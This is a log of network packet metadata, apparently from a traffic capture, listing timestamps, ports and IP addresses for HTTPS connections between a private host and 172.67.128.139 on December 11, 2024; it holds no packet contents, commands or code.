Dec 11, 2024 12:14:33.975737095 CET	443	49821	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:33.975759029 CET	443	49821	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:33.975799084 CET	443	49821	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:33.975858927 CET	443	49821	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:33.975944042 CET	49821	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:33.975944042 CET	49821	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:33.976119995 CET	49821	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:33.984350920 CET	49821	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:34.692331076 CET	443	49822	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:34.692502022 CET	443	49822	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:34.692658901 CET	49822	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:34.692888021 CET	49822	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:38.207900047 CET	49827	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:38.207922935 CET	443	49827	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:38.208375931 CET	49827	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:38.212702036 CET	49827	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:38.212714911 CET	443	49827	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:38.445983887 CET	443	49827	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:38.446224928 CET	49827	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:38.449311972 CET	49827	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:38.449321985 CET	443	49827	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:38.449558973 CET	443	49827	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:38.456027031 CET	49827	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:38.498207092 CET	443	49827	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:39.243107080 CET	443	49827	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:39.243136883 CET	443	49827	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:39.243238926 CET	443	49827	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:39.243264914 CET	443	49827	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:39.243326902 CET	49827	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:39.243340015 CET	443	49827	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:39.243427992 CET	49827	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:39.285069942 CET	49827	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:39.480268955 CET	443	49827	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:39.480516911 CET	443	49827	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:39.480532885 CET	443	49827	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:39.480762959 CET	49827	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:39.480772018 CET	443	49827	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:39.480967045 CET	49827	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:39.481034994 CET	443	49827	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:39.481095076 CET	443	49827	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:39.481197119 CET	49827	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:39.525134087 CET	49827	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:39.683406115 CET	49828	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:39.683423042 CET	443	49828	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:39.683599949 CET	49828	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:39.683780909 CET	49828	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:39.683785915 CET	443	49828	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:39.920727968 CET	443	49828	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:39.921824932 CET	49828	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:39.921832085 CET	443	49828	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:39.922053099 CET	49828	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:39.922058105 CET	443	49828	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:40.480407000 CET	443	49828	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:40.480489016 CET	443	49828	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:40.480673075 CET	49828	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:40.481009960 CET	49828	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:51.916132927 CET	49831	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:51.916161060 CET	443	49831	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:51.916377068 CET	49831	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:51.916543961 CET	49831	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:51.916553974 CET	443	49831	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:52.151333094 CET	443	49831	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:52.152354002 CET	49831	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:52.152374983 CET	443	49831	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:52.152528048 CET	49831	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:52.152546883 CET	443	49831	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:52.739320040 CET	443	49831	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:52.739394903 CET	443	49831	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:52.739609003 CET	49831	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:52.739765882 CET	49831	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:52.780392885 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:52.780411005 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:52.780603886 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:52.780932903 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:52.780939102 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:53.015017033 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:53.016798973 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:53.016805887 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:53.857202053 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:53.857247114 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:53.857434034 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:53.857875109 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:53.857886076 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:53.912198067 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:54.099345922 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.099740982 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.099762917 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.099934101 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:54.099944115 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.100068092 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.100089073 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.100224018 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:54.100228071 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.100445032 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:54.100732088 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.100997925 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:54.101002932 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.146526098 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:54.345547915 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.345885992 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.345904112 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.346134901 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:54.346146107 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.346395969 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:54.346453905 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.346493006 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.346590042 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.346779108 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:54.346782923 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.346904039 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.347007990 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.347024918 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:54.347029924 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.347289085 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:54.586730003 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.587258101 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.587281942 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.587328911 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.587404966 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.587641001 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:54.587649107 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.588144064 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.588181973 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.588411093 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:54.588411093 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:54.588422060 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.588784933 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:54.588885069 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.589247942 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.589637995 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:54.589643955 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.589828014 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:54.829976082 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.830152035 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:54.830465078 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.830754042 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.830760002 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:54.830766916 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.831059933 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:54.831620932 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.831661940 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.831944942 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:54.831944942 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:54.831944942 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:54.831950903 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.832433939 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.832459927 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.832798004 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:54.832802057 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:54.880738020 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.073120117 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.073369980 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.073435068 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.073445082 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.073621988 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.073621988 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.073920965 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.074354887 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.074760914 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.074917078 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.074934959 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.075086117 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.075088978 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.075131893 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.075773954 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.075884104 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.075944901 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.075949907 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.076139927 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.076139927 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.076735973 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.076797009 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.077084064 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.077084064 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.077090025 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.130672932 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.317011118 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.317244053 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.317373037 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.317383051 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.317420959 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.317606926 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.317629099 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.317962885 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.318434000 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.318568945 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.318574905 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.318624020 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.318634033 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.318809986 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.319443941 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.319468975 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.319605112 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.319616079 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.319797039 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.319797039 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.320332050 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.320445061 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.320496082 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.320506096 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.320736885 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.320736885 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.321276903 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.321577072 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.560020924 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.560233116 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.560616016 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.560915947 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.560915947 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.561043978 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.561220884 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.561767101 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.561873913 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.562153101 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.562153101 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.562161922 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.562668085 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.562927008 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.562933922 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.563077927 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.563313007 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.563318014 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.563360929 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.563766956 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.563791990 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.564006090 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.564006090 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.564006090 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.564012051 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.564858913 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.564877987 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.565021038 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.565027952 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.565174103 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.614969969 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.807650089 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.807717085 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.808088064 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.808099031 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.808463097 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.810092926 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.810096979 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.810165882 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.810210943 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.810436964 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.810436964 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.810446978 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.810451031 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.810806990 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.811125994 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.811302900 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.811480999 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.813154936 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.813168049 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.813493967 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.813493967 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.813493967 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.813493967 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.813493967 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.813507080 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.813688040 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.813910961 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:55.814141989 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:55.814141989 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.051136017 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.051141024 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.051240921 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.051569939 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.051582098 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.051811934 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.053139925 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.053152084 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.053481102 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.053481102 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.053493023 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.053675890 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.055242062 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.055258036 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.055577040 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.055577040 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.055589914 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.055764914 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.056967974 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.056982040 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.057127953 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.057127953 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.057331085 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.057331085 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.057338953 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.057531118 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.292381048 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.292387009 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.292448997 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.292721033 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.292721033 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.292731047 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.292964935 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.294224024 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.294236898 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.294406891 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.294406891 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.294414043 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.294589996 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.294589996 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.294589996 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.296231031 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.296250105 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.296576023 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.296576023 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.296582937 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.296767950 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.296816111 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.298192978 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.298216105 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.298536062 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.298536062 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.298543930 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.298724890 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.299113989 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.299436092 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.299448013 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.300075054 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.300419092 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.300426960 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.301621914 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.535346031 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.535351992 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.535415888 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.535689116 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.535689116 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.535700083 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.536083937 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.537405014 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.537417889 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.537740946 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.537740946 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.537740946 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.537740946 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:56.537750006 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:56.538108110 CET	49832	443	192.168.11.30	172.67.128.139
